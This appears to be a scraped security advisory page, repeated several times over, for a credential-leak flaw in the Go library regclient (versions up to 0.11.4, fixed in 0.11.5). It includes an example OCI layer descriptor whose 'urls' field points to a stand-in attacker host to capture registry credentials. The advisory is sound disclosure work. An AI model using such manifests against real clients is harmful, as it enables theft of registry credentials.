Credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs. ## Example attack A malicious registry serves an OCI image manifest containing a layer descriptor with a `urls` field pointing to an attacker controlled host: ```json { "mediaType": "application/vnd.oci.image.layer.v1.tar+gzip", "digest": "sha256:...", "size": 1024, "urls": ["https://malicious.example.org/blobs/sha256/..."] } ``` When regclient fetches the image and the primary blob request to the registry fails, it falls back to the URLs in the layer descriptor. If the external server requests authentication, regclient would send the credentials for the original registry server. ## Timeline - 2026-05-25: Advisory submitted - 2026-05-26: Fix released ## Credit Theodoros Lampropoulos, Threat Detection Engineer, Odyssey Cyber Security
Update github.com/regclient/regclient to 0.11.5 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanregclient may leak authentication credentials to external blob stores affects github.com/regclient/regclient (go). Severity is medium. Credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs. ## Example attack A malicious registry serves an OCI image manifest containing a layer descriptor with a `urls` field pointing to an attacker controlled host: ```json { "mediaType": "application/vnd.oci.image.layer.v1.tar+gzip", "digest": "sha256:...", "size": 1024, "urls": ["https://malicious.example.org/blobs/sha256/..."] } ``` When regclient fetches the image and the primary blob request to the registry fails, it falls back to the URLs in the layer descriptor. If the external server requests authentication, regclient would send the credentials for the original registry server. ## Timeline - 2026-05-25: Advisory submitted - 2026-05-26: Fix released ## Credit Theodoros Lampropoulos, Threat Detection Engineer, Odyssey Cyber Security
AI coding agents often install or upgrade packages automatically in go. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
Credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs. ## Example attack A malicious registry serves an OCI image manifest containing a layer descriptor with a `urls` field pointing to an attacker controlled host: ```json { "mediaType": "application/vnd.oci.image.layer.v1.tar+gzip", "digest": "sha256:...", "size": 1024, "urls": ["https://malicious.example.org/blobs/sha256/..."] } ``` When regclient fetches the image and the primary blob request to the registry fails, it falls back to the URLs in the layer descriptor. If the external server requests authentication, regclient would send the credentials for the original registry server. ## Timeline - 2026-05-25: Advisory submitted - 2026-05-26: Fix released ## Credit Theodoros Lampropoulos, Threat Detection Engineer, Odyssey Cyber Security
Update github.com/regclient/regclient to 0.11.5 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanregclient may leak authentication credentials to external blob stores affects github.com/regclient/regclient (go). Severity is medium. Credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs. ## Example attack A malicious registry serves an OCI image manifest containing a layer descriptor with a `urls` field pointing to an attacker controlled host: ```json { "mediaType": "application/vnd.oci.image.layer.v1.tar+gzip", "digest": "sha256:...", "size": 1024, "urls": ["https://malicious.example.org/blobs/sha256/..."] } ``` When regclient fetches the image and the primary blob request to the registry fails, it falls back to the URLs in the layer descriptor. If the external server requests authentication, regclient would send the credentials for the original registry server. ## Timeline - 2026-05-25: Advisory submitted - 2026-05-26: Fix released ## Credit Theodoros Lampropoulos, Threat Detection Engineer, Odyssey Cyber Security
AI coding agents often install or upgrade packages automatically in go. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|
| github.com/regclient/regclientgo | <=0.11.4 | 0.11.5 |
|---|
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard| Package | Affected range | Fixed version |
|---|
| github.com/regclient/regclientgo | <=0.11.4 | 0.11.5 |
|---|
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard